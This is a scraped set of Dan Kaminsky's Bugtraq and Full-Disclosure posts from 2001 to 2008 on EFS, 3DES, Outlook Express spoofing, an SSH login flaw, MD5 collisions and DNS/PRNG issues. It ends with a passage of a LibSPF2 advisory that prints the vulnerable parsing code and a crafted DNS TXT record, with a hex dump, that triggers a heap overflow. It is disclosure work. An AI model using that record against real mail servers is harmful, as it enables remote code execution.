Recommended EFS procedures call for the encryption of a direcory, not\nfile-by-file as the procedure indicated by Berglind suggests. If you copy\n
an\n
unencrypted file and paste it into an encrypted directory, the file and\n
the\n
temporary file are both encrypted.\n\nThis is actually covered in the docs regarding EFS.\n
\n\nAhem.  Been seeing alot of this.\n\nRTFM is actually not the correct response to a security hole--among other\nthings, "the docs" is insufficient information for me to determine which is\nthe canonical and mandatory docs I'm supposed to address as The One And True\nDocs.\n\nIf you ask me, the user interface itself is the most important\ndocumentation--it's the only thing that, if it's incorrect, is *guaranteed*\nto lead to the wrong thing being done.\n\nThe user interface states that a file can be taken from an insecure state to\na secure state by checking "encrypt file".  That's it.  You get a warning,\nand the warning states that unless the folder as a whole is encrypted, a\nchange in the file might lead to decrypted content being saved.\n\nThat's it.\n\nI think my real problem with people running to the docs is that, quite\nfrankly, the *reason* for something to be recommended is *critical*.\nAccording to the UI itself, the reason folder-crypto is superior is because\n"modified files might be saved in cleartext."  According to the "Step By\nStep Guide To EFS" (http://www.microsoft.com/technet/win2000/efsguide.asp),\nthe reason it's recommended is "because many existing applications are not\naware of encryption and can therefore render the file in clear text."\n\nAssume I've read both pieces of documentation--if I don't plan to modify the\nfile and if I'm using non-legacy applications, I should be safe.  After all,\nif the real recommended reason was "use of this feature will render the\nencryption completely irrelevant to anyone with a sector editor", why, the\nfeature wouldn't even be in Windows, wouldn't it?\n\nMS is failing to overwrite, even once, either the original file or the .tmp\nfile that EFS creates.  That's a bug.  It's not *nearly* as significant as\nthe possibility that MS was plaintext writing *everything*, and just\nconverting to encrypted form in the background(which is exactly what I\nthought it was doing), but it's an issue and they're likely to address it.\n\nSimply recommending a given pattern of behavior is irrelevant.  Nobody\nshould be faulted, not even slightly, for passing over the recommendations\ngiven that they were given without reasons that Rickard made clear.\n\nYours Truly,\n\n    Dan Kaminsky\n    Cisco Systems, Inc.\n    http://www.doxpara.com\n\n
\n"}, {"url": "https://seclists.org/bugtraq/2001/Feb/316", "subject": "Re: Nortel CES (3DES version) offers false sense of security when usi ng IPSEC", "index_author": "Dan Kaminsky (Feb 27)", "frm": "Dan Kaminsky ", "date": "Tue, 27 Feb 2001 22:00:23 -0800", "body_html": "\n
I don't know where people get their information, but tripple-DES uses\na 112 bit key. How they can advertize 128, or even 168 bits of keys I\ndon't know.\n
\n\n3DES uses a 168 bit key.  Not 128, not 112, not anything else.\n\nThe problem is that, in crypto, not all bits are created equal--note the\nmass confusion over the asymmetric keyspaces--"Wait, 512 bits are *less*\nthan 128 bits?"\n\nEssentially, 3DES is referred to as 128 bits because it posesses equivalent\nstrength to more modern ciphers that have a 128 bit keyspace.  The meet in\nthe middle attack reduces the complexity to 2^112, but the assurance over\ntime(as the most widely attacked cryptographic algorithm in existence)\nraises the quality to an "equivalent" 128 bit.\n\nIt's ugly, and blame the marketers for it--but on the flip side, it's better\nthan hearing about how 168 bit 3DES is actually only two thirds its apparent\nstrength, which numerically makes it less trustworthy than (say) 128 bit\nRC4.  In the great pantheon of marketing hacks, calling 3DES 128 bit\nabsolutely *pales* in comparison.\n\nYours Truly,\n\n    Dan Kaminsky, CISSP\n    Cisco Systems, Inc.\n    http://www.doxpara.com\n\n
\n"}, {"url": "https://seclists.org/bugtraq/2001/Jun/48", "subject": "Re: SECURITY.NNOV: Outlook Express address book spoofing", "index_author": "Dan Kaminsky (Jun 05)", "frm": "\"Dan Kaminsky\" ", "date": "Tue, 5 Jun 2001 12:59:03 -0700", "body_html": "\n
3.  Now,  if  while  composing  new  message  G1 directly types e-mail\naddress  g2 () mail com  instead  of  G2, Outlook will compose address as\n"g2 () mail com" <b () mail com> and message will be received by B.\n
\n\nWhat an elegant attack!  Effectively, the software is doing *exactly* what\nit's supposed to:  Allow individuals to be mailed according to their chosen\nname instead of their direct email address.  But since it's rendering chosen\nnames in the exact same manner as the fallback direct address, by *choosing*\na name that *appears* to be a fallback address one can choose to be any name\nthey want to be--and since Outlook Express gives higher precedence to chosen\nnames than it does to direct emails, the wrong person will be mailed every\ntime and the user can be none the wiser.\n\nAfter all, pixel for pixel, *everything* is doing just what it should.\n\nNow, email spoofing has existed for a long time, but hasn't been abused much\nsince one can only *send* spoofed messages, not receive their replies.  Even\nReply-To manipulation shows up in one way or another...but not this.  This\nis totally invisible, and I think even more effective than NNOV noted.\n\nIncidentally, *nothing* prevents messages from being further forwarded once\nthey've been illicitly received.  This may be one of the more dangerous\nmethods of executing a man in the middle attack with email alone.\n\nMicrosoft is correct that the problem is not a trivial fix:  The problem is\none of user confusion, driven strongly by the fact that the user is being\nshown *exactly* what they'd be seeing in a normal, non-attack scenario.\nThere isn't the case of a bug in the code; this is primarily a design issue.\n\nAn immediate design fix would be to use a different coloring and fontfacing\nscheme to refer to full names, rather than quoted email addresses from the\naddress book.  This should self-document decently, since over the course of\nsending a number of mails users should learn to associate one character type\nwith one form of name and the other with the other.  Then, when the attack\nhits, people see things "backwards" and some method of investigation can be\nmade available.  Things get a little sticky if you start trying to\nautodetect this attack, because of situations where parts of an email\naddress are removed(like bob () smtp dobbs com -> bob () dobbs com, for instance),\nbut I think a decent method could be engineered.\n\nPersonally, a tooltip popping over an appropriately drawn chosen name\nwhenever the mouse was held over it would be both very useful and a decent\nfix.\n\n*Something*, however, does need to be done.  Autocomplete on address book\nnames is easily one of the top 1% of features in OE5, and it really depends\non auto-adding on reply(which filters out spam).  IT depts aren't going to\nbe able to get away with a mass disable of this feature, it simply won't\nhappen.  (Things like this are moderately common when the bug attacks user\nperceptions rather than simply broken code.)\n\nDue to the severity of this issue(yes, someone might eventually hysterically\nreport "NEW ATTACK LETS ME READ YOUR EMAIL BEFORE YOU EVEN GET IT"), I do\nthink it'd be appropriate for an update in a reasonable timeframe, with\nbackporting to all affected platforms.\n\nYours Truly,\n\n    Dan Kaminsky, CISSP\n    Cisco Systems, Inc.\n    http://www.doxpara.com\n\n\n
\n"}, {"url": "https://seclists.org/bugtraq/2001/Jun/70", "subject": "Re: SECURITY.NNOV: Outlook Express address book spoofing", "index_author": "Dan Kaminsky (Jun 07)", "frm": "\"Dan Kaminsky\" ", "date": "Wed, 6 Jun 2001 17:26:10 -0700", "body_html": "\n
Novell Groupwise has similar problems with displaying the address book\n"name" instead of the address (though Groupwise is *not* vulnerable to the\nsame attack that forces the spoofed entry into the address book). It would\nbe nice if these email systems would always display both the name and the\naddress. Perhaps use both different colors, and the familiar <> construct,\ne.g. "myfriend () good example org <attacker () evil example net>" the way\nother packages like Netscape Messenger, Mozilla Mail, Pine, and Mutt do.\n
\n\nGood example of how user interface theory can be critical to resolving\nsecurity concerns.\n\nFull name/address expansion works very badly when there's a decently sized\nlist of people receiving emails; instead of a mailing list reading:\n\nAlice, Bob, Charlie, Mallory\n\nYou have:\n\nAlice <alice () foo com>, Bob <bob () bar com>, Charlie\n<charlietangouniform () foobar com>, Mallory <timmy () gobbles com>\n\nThis can be cleaned up slightly by only having one entry per line, but that\ngets wasteful of space.  While its true that this provides a moderately\neffective method for authenticating destinations(at least in this context),\nit's so much less succinct that it poses a distinct usability constraint.\nSince the job of software is to be usable, not necessarily secure, the\nimpact of the security noise would probably be enough to prevent the\ndeployment of the fix.\n\nNobody applies a patch that breaks what works--guaranteed immediate damage\nis much more compelling than theoretical future damage.\n\nA couple people have questioned why not just reject all "true names" that\ncontain an @ sign.  For better or worse, having an @ in your name is not\nnecessarily a sign of illegitimacy:  A small but non ignorable minority of\nindividuals tend to spell their names using an @ as a replacement for a.\nWhile not particularly my style, I don't think any of us can arbitrarily\nchoose to reject the character when more than a few of us receive network\nlinks from @Home and respect people at @Stake.\n\nPerhaps a "true name" filter along the lines of *@*.TLD?  I think that's\npretty much what the user is interpreting as a differentiator between real\nnames and email addresses.\n\nYours Truly,\n\n    Dan Kaminsky, CISSP\n    Cisco Systems, Inc.\n    http://www.doxpara.com\n\n\n
\n"}, {"url": "https://seclists.org/bugtraq/2001/Jul/488", "subject": "Re: URGENT SECURITY ADVISORY FOR SSH SECURE SHELL 3.0.0", "index_author": "Dan Kaminsky (Jul 20)", "frm": "\"Dan Kaminsky\" ", "date": "Fri, 20 Jul 2001 19:11:02 -0700", "body_html": "\n
Some stock machines which have default locked accounts\nrunning SSH Secure Shell 3.0 are vulnerable to\narbitrary logins.  This is a serious problem with\nSolaris, for example, which uses the sequence "NP" to\nindicate locked administrative accounts such as "lp",\n"adm", "bin" etc.  Some Linux machines which have\naccounts with !! in the etc/passwd or /etc/shadow such\nas xfs or gdm are also vulnerable. Since it is relatively\neasy to become root after gaining access to certain\naccounts, we consider this a potential root exploit.\n
\n\nSince on Solaris all the standard binaries(sh, ls, rm, etc.) are bin owned,\nall systems with SSH-3.0 should be considered to be completely rootable by\neven basic unix-aware attackers.  Worse, the nature of the SSH protocols is\nthat the exact version of the SSH server shows up upon initial connection to\nthe SSHD port.  This means a mass scan, combined perhaps with minor TCP\nproperty analysis, will reveal both the vulnerable SSHD and the specific OS\nwhose accounts are to be attacked.\n\nMass SSH scanners are available; it may be worthwhile as an administrator to\nsearch and cleanse your network before someone else does.  While you're at\nit, watch for OpenSSH 2.2.0p2 in particular, as there apparently exist Linux\nroot exploits for that obscure deattack.c bug found several months ago.\n\nThe big issue here, of course, is not that sshd incorrectly checks the\ncryptographic hash of an inadequately sized password but that it checks it\nat all.  NP, as far as I know, specifically stands for No Password\n(acceptable, *not* needed), and !! I believe has the same meaning for\nLinux(! for "no").  SSHD has traditionally when possible directly tested its\npasswords straight through most available interfaces, be them a raw password\nfile or a PAM call.  But when the SSHD checked the cryptography of NP or !!,\nit failed to successfully parse the critical message in the password\ndatabase:  Let Nothing At All, No Matter What, In.\n\nWhen such a message exists, it deserves immediate servicing.  They expected\nthe cryptography to fail; it was an implicit assumption that an explicit\nsecurity-critical demand would be serviced automatically.  The assumption\nwas incorrect, and now a reasonably major hole exists.\n\nYours Truly,\n\n    Dan Kaminsky, CISSP\n    http://www.doxpara.com\n\n\n
\n"}, {"url": "https://seclists.org/bugtraq/2004/Dec/47", "subject": "MD5 To Be Considered Harmful Someday", "index_author": "Dan Kaminsky (Dec 07)", "frm": "Dan Kaminsky ", "date": "Mon, 06 Dec 2004 15:29:34 -0800", "body_html": "\nI've been doing some analysis on MD5 collision announced by Wang et al. \nShort version: Yes, Virginia, there is no such thing as a safe hash \ncollision -- at least in a function that's specified to be \ncryptographically secure. The full details may be acquired at the \nfollowing link:\n
\n\nhttp://www.doxpara.com/md5_someday.pdf\n\n
A tool, Stripwire, has been assembled to demonstrate some of the attacks \ndescribed in the paper. It may be acquired at the following address:\n
\n\n
http://www.doxpara.com/stripwire-1.1.tar.gz \n\nIncidentally, the expectations management is by no means accidental -- \nthe paper's titled "MD5 To Be Considered Harmful Someday" for a reason. \nSome people have said there's no applied implications to Joux and Wang's \nresearch. They're wrong; arbitrary payloads can be successfully \nintegrated into a hash collision. But the attacks are not wildly \npractical, and in most cases exposure remains thankfully limited, for \nnow. But the risks are real enough that responsible engineers should \ntake note: This is not merely an academic threat, systems designed with \nMD5 now need to take far more care than they would if they were \nemploying an unbroken hashing algorithm, and the problems are only going \nto get worse.\n
\n\nSome highlights from the paper:\n\n
* The attack itself is pretty limited -- essentially, we can create \n"doppelganger" blocks (my term) anywhere inside a file that may be \nswapped out, one for another, without altering the final MD5 hash. This \nlets us create any number of binary-inequal files with the same md5sum.\n
\n\n
* MD5 uses an appendable cascade construction -- in other words, if you \nhappen to find yourself with two files that MD5 to the same hash, an \narbitrary payload can be applied to both files and they'll still have \nthe same hash. This leads to...\n
\n\n
* Attacks are possible using only the proof of concept test vectors \nreleased by Wang -- the actual attack is not necessary.\n
\n\n
* Stripwire emits two binary packages. They both contain an arbitrary \npayload, but the payload is encrypted with AES. Only one of the \npackages ("Fire") is decryptable and thus dangerous; the other ("Ice") \nshields its data behind AES. Both files share the same MD5 hash.\n
\n\n
* Digital Signature systems are vulnerable, as they almost always sign a \nhashed representation of data rather than the data itself.\n
\n\n
* This is an excellent vector for malicious developers to get unsafe \ncode past a group of auditors, perhaps to acquire a required third party \nsignature. Alternatively, build tools themselves could be compromised \nto embed safe versions of dangerous payloads in each build. At some \nlater point, the embedded payload could be safely "activated", without \nthe MD5 changing. This has implications for Tripwire, DRM, and several \npackage management architectures.\n
\n\n
* HMAC's invulnerability has been slightly overstated. It's definitely \npossible, given the key, to create two datasets with the same HMAC. \nAttacker possession of the key violates MAC presumptions, so the impact \nof this is particularly questionable.\n
\n\n
* Very interesting possibilities open up once the full attack is made \navailable -- among other things, we can create self-decrypting \nexecutables (fire.exe and ice.exe) that exhibit differential behavior \nbased on their internal colliding payloads. They'll still have the same \nMD5 hash.\n
\n\n
* Several doppelgangers may (relatively quickly, as per Joux) be \ncomputed within a single multicollision-friendly block. As such, the \nparticular selection of doppelganger sets within a file can itself be \nmade to represent data. It's relatively straightforward to embed a 128 \nbit signature inside an arbitrary file, in such a way that no matter the \nvalue of the signature, a constant MD5 hash is maintained. This is \ncuriously steganographic.\n
\n\n
* Many popular P2P networks (and innumerable distributed content \ndatabases) use MD5 hashes as both a reliable search handle and a \nmechanism to ensure file integrity. This makes them blind to any \nsignature embedded within MD5 collisions. We can use this blindness to \ntrack MP3 audio data as it propagates from a custom P2P node. \n"Strikeback" capacity against executable trafficking is even more \npronounced -- it's possible to create application installers that \nself-modify with host identifying characteristics but still successfully \nretransmit on P2P networks under the global search hash.\n
\n\n
I hope this paper proves useful to the security community at large, and \nI welcome feedback.\n
\n\n--Dan Kaminsky\nwww.doxpara.com\ndan () doxpara com\n\n
\n"}, {"url": "https://seclists.org/bugtraq/2004/Dec/90", "subject": "Re: MD5 To Be Considered Harmful Someday", "index_author": "Dan Kaminsky (Dec 08)", "frm": "Dan Kaminsky ", "date": "Wed, 08 Dec 2004 12:52:42 -0800", "body_html": "\n
\nPaul Wouters wrote:\n\n
\nOn Tue, 7 Dec 2004, Gandalf The White wrote:\n\n
\nWhat I am worried about is the integrity of MD5 hashed passwords.  This\n
\n\n\n
It does not matter that I don't know the correct password, I have a \npassword\n
\nthat collides into the correct hash.  I can log into the system with my\ngenerated password.\n
\n\n\nCan't we just truncate the password to 8 characters like in the old days\n
before doing the MD5 hash? It will greatly reduce the chance of a \ncollision.\n
\nIn fact, I am not even sure my systems don't do this already.\n\n
Actually, this greatly increases the chance of a collision. 123456789 \nwill collide with 123456780.\n
\n\n
It is unlikely we'll find any ASCII readable payload that collide \nthrough Wang's search technique.\n
\n\n--Dan\n\n
\n"}, {"url": "https://seclists.org/bugtraq/2004/Dec/83", "subject": "Re: MD5 To Be Considered Harmful Someday", "index_author": "Dan Kaminsky (Dec 08)", "frm": "Dan Kaminsky ", "date": "Wed, 08 Dec 2004 14:03:56 -0800", "body_html": "\n
\n\n
\nThe algorithm is far more complicated than "raw" MD5.  It consists of\n1000 iterations of MD5 with both output from the previous iteration\nand the original input (plaintext password and salt) being rolled into\nthe hash on each iteration.\n
\n\n
Brute force work efforts like password cracking tend to be an \nexponential times a constant -- say, 2^32 operations that take 100ms \neach. Increasing the complexity of a legitimate password verification \nincreases the constant. Interestingly, the more efficient a legitimate \nverifier becomes, the more efficient your brute forcer is.\n
\n\n
Not that brute force is the only approach available. There are numerous \nattacks that might break "pure" MD5 but fail given such massive \noverlapping. There are, however, others that abuse extra rounds to \ngreat effect. For instance, SHA-0 is an 80 round algorithm. Biham's \npaper (http://eprint.iacr.org/2004/146/) showed that an 82 round variant \nis actually much weaker. And Joux's unreleased paper makes it very \nclear that simply stacking primitives doesn't create nearly the level of \ncombinatorial complexity that you'd expect.\n
\n\n
Of course, as I've said elsewhere passwords really aren't at all \nvulnerable to the MD5 attack. But, if they were, extra iterations \nwouldn't be helpful. Once the first round collided, all future rounds \nwould continue to collide.\n
\n\n--Dan\nwww.doxpara.com\n\n
\n"}, {"url": "https://seclists.org/bugtraq/2004/Dec/85", "subject": "Re: MD5 To Be Considered Harmful Someday", "index_author": "Dan Kaminsky (Dec 08)", "frm": "Dan Kaminsky ", "date": "Wed, 08 Dec 2004 13:44:08 -0800", "body_html": "\n
\n\n
\nSince you can't possibly mean absolutely suitable, can you clarify your\nbasis for suitability? I'm not asking for a technical proof, just the\ngeneral metrics used to make the determination.\n\nIf 160 bit SHA1 is good enough for one application but not another, what\ndoes one need to know to decide for their own application?\n
\n\n
SHA-1 is truncatable to 128 bits for applications that have limited \nspace available for hashes. This limits the birthday paradox attack to \na 2^64 effort, but MD5 isn't anywhere close to that anymore. \n(Incidentally, the output of birthday attack is an unchosen collision, \njust like Wang's.)\n
\n\n
SHA-1 isn't perfect, but we haven't known its been broken for a decade \nlike we have for MD5.\n
\n\n--Dan\n\n
\n"}, {"url": "https://seclists.org/bugtraq/2004/Dec/94", "subject": "Re: MD5 To Be Considered Harmful Today", "index_author": "Dan Kaminsky (Dec 08)", "frm": "Dan Kaminsky ", "date": "Wed, 08 Dec 2004 14:23:11 -0800", "body_html": "\n
\n\n\n:~/misc/md5$ cat msg1\nI agree to sell you my horse ^Fita^, its saddle and harness for price   14000 dollars. Signed Bara\n\n
\n\n
Except you can't do this, since the appended data needs to be identical \nbetween the two files. That's why I used the encrypted payload -- it \nties the semantic meaning of the embedded commands to posession of \nvec1's series of bits, which is of course what a cipher is meant to do.\n
\n\n
Your payloads differ but the above line is incorrect. Your actual \nappended files:\n
\n\n$ cat msg1\n
[terminal garbage]I agree to sell you my horse ^Fita^, its saddle and \nharness for price 1 000 dollars. Signed Bara\n
\n\n$ cat msg2\n
[slightly different terminal garbage]I agree to sell you my horse \n^Fita^, its saddle and harness for price 1 000 dollars. Signed Bara\n
\n\n--Dan\n\n
\n"}, {"url": "https://seclists.org/bugtraq/2004/Dec/96", "subject": "Re: MD5 To Be Considered Harmful Today", "index_author": "Dan Kaminsky (Dec 08)", "frm": "Dan Kaminsky ", "date": "Wed, 08 Dec 2004 14:36:28 -0800", "body_html": "\n
\n\n
\nActually, no, it is not. Try catting it on linux console. It takes\nthe garbage, overwrites it with ^Hs, then writes ... "its saddle and\nharness for price   1", then shifts cursor right (over 4 or `,\ndepending on first block), then continues with "000 dollars".\n\nMy trick does *not* work in Gnome Terminal (I've just verified\nit). You need actuall linux console, press ctrl-alt-F1 on most distros\nto get to one... but if you tell me what terminal you use, I can\nprobably create terminal sequence that works there...\n                                                                Pavel\n
\n\n
\nWhoa.  If you can get this working in rxvt, I'll be quite impressed.\n\n--Dan\n\n
\n"}, {"url": "https://seclists.org/fulldisclosure/2008/Aug/168", "subject": "Re: OpenID/Debian PRNG/DNS Cache poisoning\tadvisory", "index_author": "Dan Kaminsky (Aug 08)", "frm": "Dan Kaminsky ", "date": "Fri, 08 Aug 2008 10:43:53 -0700", "body_html": "\n
\n\n\nEric Rescorla wrote:\n
At Fri, 8 Aug 2008 17:31:15 +0100,\nDave Korn wrote:\n  \n
Eric Rescorla wrote on 08 August 2008 16:06:\n\n    \n
At Fri, 8 Aug 2008 11:50:59 +0100,\nBen Laurie wrote:\n      \n
However, since the CRLs will almost certainly not be checked, this\nmeans the site will still be vulnerable to attack for the lifetime of\nthe certificate (and perhaps beyond, depending on user\nbehaviour). Note that shutting down the site DOES NOT prevent the attack.\n\nTherefore mitigation falls to other parties.\n\n1. Browsers must check CRLs by default.\n        \n
Isn't this a good argument for blacklisting the keys on the client\nside?\n      \n
  Isn't that exactly what "Browsers must check CRLs" means in this context\nanyway?  What alternative client-side blacklisting mechanism do you suggest?\n    \n
\n\nIt's easy to compute all the public keys that will be generated\nby the broken PRNG. The clients could embed that list and refuse\nto accept any certificate containing one of them. So, this\nis distinct from CRLs in that it doesn't require knowing \nwhich servers have which cert...\n
Funnily enough I was just working on this -- and found that we'd end up \nadding a couple megabytes to every browser.  #DEFINE NONSTARTER.  I am \ncurious about the feasibility of a large bloom filter that fails back to \nonline checking though.  This has side effects but perhaps they can be \nmade statistically very unlikely, without blowing out the size of a browser.\n\nUpdating the filter could then be something we do on a 24 hour \nautoupdate basis.  Doing either this, or doing revocation checking over \nDNS (seriously), is not necessarily a bad idea.  We need to do better \nthan we've been.\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
\n"}, {"url": "https://seclists.org/bugtraq/2008/Aug/95", "subject": "Re: OpenID/Debian PRNG/DNS Cache poisoning advisory", "index_author": "Dan Kaminsky (Aug 08)", "frm": "Dan Kaminsky ", "date": "Fri, 08 Aug 2008 10:43:53 -0700", "body_html": "\n
\n\n\nEric Rescorla wrote:\n
\nAt Fri, 8 Aug 2008 17:31:15 +0100,\nDave Korn wrote:\n
\n
\nEric Rescorla wrote on 08 August 2008 16:06:\n\n
\n
\nAt Fri, 8 Aug 2008 11:50:59 +0100,\nBen Laurie wrote:\n
\n
\nHowever, since the CRLs will almost certainly not be checked, this\nmeans the site will still be vulnerable to attack for the lifetime of\nthe certificate (and perhaps beyond, depending on user\nbehaviour). Note that shutting down the site DOES NOT prevent the attack.\n\nTherefore mitigation falls to other parties.\n\n1. Browsers must check CRLs by default.\n
\n
\nIsn't this a good argument for blacklisting the keys on the client\nside?\n
\n
\n  Isn't that exactly what "Browsers must check CRLs" means in this context\nanyway?  What alternative client-side blacklisting mechanism do you suggest?\n
\n
\n\nIt's easy to compute all the public keys that will be generated\nby the broken PRNG. The clients could embed that list and refuse\nto accept any certificate containing one of them. So, this\n
is distinct from CRLs in that it doesn't require knowing \nwhich servers have which cert...\n
Funnily enough I was just working on this -- and found that we'd end up \nadding a couple megabytes to every browser. #DEFINE NONSTARTER. I am \ncurious about the feasibility of a large bloom filter that fails back to \nonline checking though. This has side effects but perhaps they can be \nmade statistically very unlikely, without blowing out the size of a browser.\n
\n\n
Updating the filter could then be something we do on a 24 hour \nautoupdate basis. Doing either this, or doing revocation checking over \nDNS (seriously), is not necessarily a bad idea. We need to do better \nthan we've been.\n
\n\n
\n"}, {"url": "https://seclists.org/fulldisclosure/2008/Oct/409", "subject": "DNS TXT Record Parsing Bug in LibSPF2", "index_author": "Dan Kaminsky (Oct 22)", "frm": "Dan Kaminsky ", "date": "Tue, 21 Oct 2008 12:14:51 -0700", "body_html": "\n
Advisory:  DNS TXT Record Parsing Bug in LibSPF2\nAuthor:  Dan Kaminsky, Director of Penetration Testing, IOActive Inc, \nDan.Kaminsky () ioactive com (PGP Key In Appendix)\nAbstract:\n\nA relatively common bug parsing TXT records delivered over DNS, dating\nat least back to 2002 in Sendmail 8.2.0 and almost certainly much\nearlier, has been found in LibSPF2, a library frequently used to\nretrieve SPF (Sender Policy Framework) records and apply policy\naccording to those records.  This implementation flaw allows for\nrelatively flexible memory corruption, and should thus be treated as a\npath to anonymous remote code execution.  Of particular note is that the\nremote code execution would occur on servers specifically designed to\nreceive E-Mail from the Internet, and that these systems may in fact be\nhigh volume mail exchangers.  This creates privacy implications.  It is\nalso the case that a corrupted email server is a useful \u00e2\u0080\u009cjumping off\u00e2\u0080\u009d\npoint for attackers to corrupt desktop machines, since attachments can\nbe corrupted with malware while the containing message stays intact.  So\nthere are internal security implications as well, above and beyond\ncorruption of the mail server on the DMZ.\n\nRecommendations:\n\nIf you are a major mail exchange, you should determine whether the SPAM\nfilters that protect your systems use LibSPF2.\n\nIf you are a vendor of anti-SPAM devices, or the author of an operating\nsystem with components that may use LibSPF2, you should determine\nwhether LibSPF2 is used in any of your configurations and migrate to\nLibSPF 1.2.8, found at:\n\n    http://www.libspf2.org/index.html\n\nIf your product has a dependency on DNS TXT records, we recommend you\ntest it for the parsing bug that LibSPF2 was vulnerable to, since this\nhas been a problem for some time.  Name server implementations may want\nto consider adding filtering themselves, though record validation is not\nnormally their job.\n\nDetails:  DNS TXT records have long been a little tricky to parse, due\nto them containing two length fields.  First, there is the length field\nof the record as a whole.  Then, there is a sublength field, from 0 to\n255, that describes the length of a particular character string inside\nthe larger record.  There is nothing that links the two values, and DNS\nservers to not themselves enforce sanity checks here.  As such, there is\nalways a risk that when receiving a DNS TXT record, the outer record\nlength will be the amount allocated, but the inner length will be copied.\n\nIn the past, we\u00e2\u0080\u0099ve seen this particular bug all over the place,\nincluding in Sendmail.  This is just the same bug, showing up in LibSPF2\n1.2.5:\n\nSpf_dns_resolv.c#SPF_dns_resolv_lookup():\n\n           case ns_t_txt:\n           if ( rdlen > 1 )\n           {\n               u_char *src, *dst;\n               size_t len;\n\n               if ( SPF_dns_rr_buf_realloc( spfrr, cnt, rdlen ) !=\nSPF_E_SUCCESS ) // allocate rdlen bytes at spf->rr[cn]->txt\n               return spfrr;\n\n               dst = spfrr->rr[cnt]->txt;\n               len = 0;\n               src = (u_char *)rdata;\n               while ( rdlen > 0 )\n               {\n               len = *src; // get a second length from the attacker\ncontrolled datastream -- some value from 0 to 255, unbound to rdlen\n               src++;\n               memcpy( dst, src, len ); // copy that second length to\nrdlen byte buffer.\n               dst += len;\n               src += len;\n               rdlen -= len + 1;\n               }\n               *dst = '\\0';\n\n For validation purposes, a build of LibSPF2 was instrumented, to\nvalidate the heap overflow:\n\n$ ./spfquery -ip=1.2.3.4 -sender=foo () bar toorrr com\nbuffer 8107080 has size 16\nbuffer 8107090 has size 16\nbuffer 81070a0 has size 16\nwriting 255 bytes to a 15 size buffer at 81070a0 // overflow\nbuffer 8123030 has size 234\nwriting 233 bytes to a 234 size buffer at 8123030\nbuffer 81060c0 has size 20\nbuffer 81060e0 has size 20\nbuffer 8123120 has size 234\nbuffer 8106100 has size 31\nStartError\nContext: Failed to query MAIL-FROM\nErrorCode: (2) Could not find a valid SPF record\nError: Invalid character in middle of mechanism near '\u00c3\u0080\n                                                       bar.toorrr'\nError: Failed to compile SPF record for 'bar.toorrr.com'\nEndError\n(invalid)\n\nThe actual record used to spawn this behavior was as follows:\n\n;; HEADER SECTION\n;; id = 63838\n;; qr = 1    opcode = QUERY    aa = 1    tc = 0    rd = 1\n;; ra = 0    ad = 0    cd = 0    rcode  = NOERROR\n;; qdcount = 1  ancount = 2  nscount = 0  arcount = 0\n\n;; QUESTION SECTION (1 record)\n;; bar.toorrr.com.      IN      TXT\n\n;; ANSWER SECTION (2 records)\nbar.toorrr.com. 0       IN      TXT     "v=spf1 mx +all"\nbar.toorrr.com. 0       IN      TXT    \n"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"\n\n;; AUTHORITY SECTION (0 records)\n\n;; ADDITIONAL SECTION (0 records)\n\nOr, in hex:\n\n          00 01 02 03 04 05 06 07 - 08 09 0A 0B 0C 0D 0E 0F \n0123456789ABCDEF\n\n00000000  F9 5E 85 00 00 01 00 02 - 00 00 00 00 03 62 61 72 \n.^...........bar\n00000010  06 74 6F 6F 72 72 72 03 - 63 6F 6D 00 00 10 00 01 \n.toorrr.com.....\n00000020  C0 0C 00 10 00 01 00 00 - 00 00 00 0F FF 76 3D 73 \n.............v=s\n00000030  70 66 31 20 6D 78 20 2B - 61 6C 6C C0 0C 00 10 00  pf1 mx\n+all.....\n00000040  01 00 00 00 00 00 EA E9 - 41 41 41 41 41 41 41 41 \n........AAAAAAAA\n00000050  41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 \nAAAAAAAAAAAAAAAA\n00000060  41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 \nAAAAAAAAAAAAAAAA\n00000070  41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 \nAAAAAAAAAAAAAAAA\n00000080  41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 \nAAAAAAAAAAAAAAAA\n00000090  41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 \nAAAAAAAAAAAAAAAA\n000000A0  41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 \nAAAAAAAAAAAAAAAA\n000000B0  41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 \nAAAAAAAAAAAAAAAA\n000000C0  41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 \nAAAAAAAAAAAAAAAA\n000000D0  41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 \nAAAAAAAAAAAAAAAA\n000000E0  41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 \nAAAAAAAAAAAAAAAA\n000000F0  41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 \nAAAAAAAAAAAAAAAA\n00000100  41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 \nAAAAAAAAAAAAAAAA\n00000110  41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 \nAAAAAAAAAAAAAAAA\n00000120  41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 \nAAAAAAAAAAAAAAAA\n00000130  41                                                 A\n\nThe altered length field, on 0x2C, is what\u00e2\u0080\u0099s causing the overflow. \nSample code to reproduce the above is attached at the end of this paper.\n\nConclusion:\n\nThere\u00e2\u0080\u0099s nothing particularly special about this bug \u00e2\u0080\u0093 we\u00e2\u0080\u0099ve even seen\nthis in mail servers before.  But it is apparently present on some very\nhigh profile and high traffic systems.  SPF is a major part of how the\nInternet attempts to filter SPAM, and while it\u00e2\u0080\u0099s not perfect, it is\npretty helpful.  LibSPF2 is one of the more common libraries out there\nfor handling SPF traffic, with billions of messages a day being\nprotected by it.\n\nUnfortunately, that also means billions of messages a day are at risk \u00e2\u0080\u0093\nthe nature of this 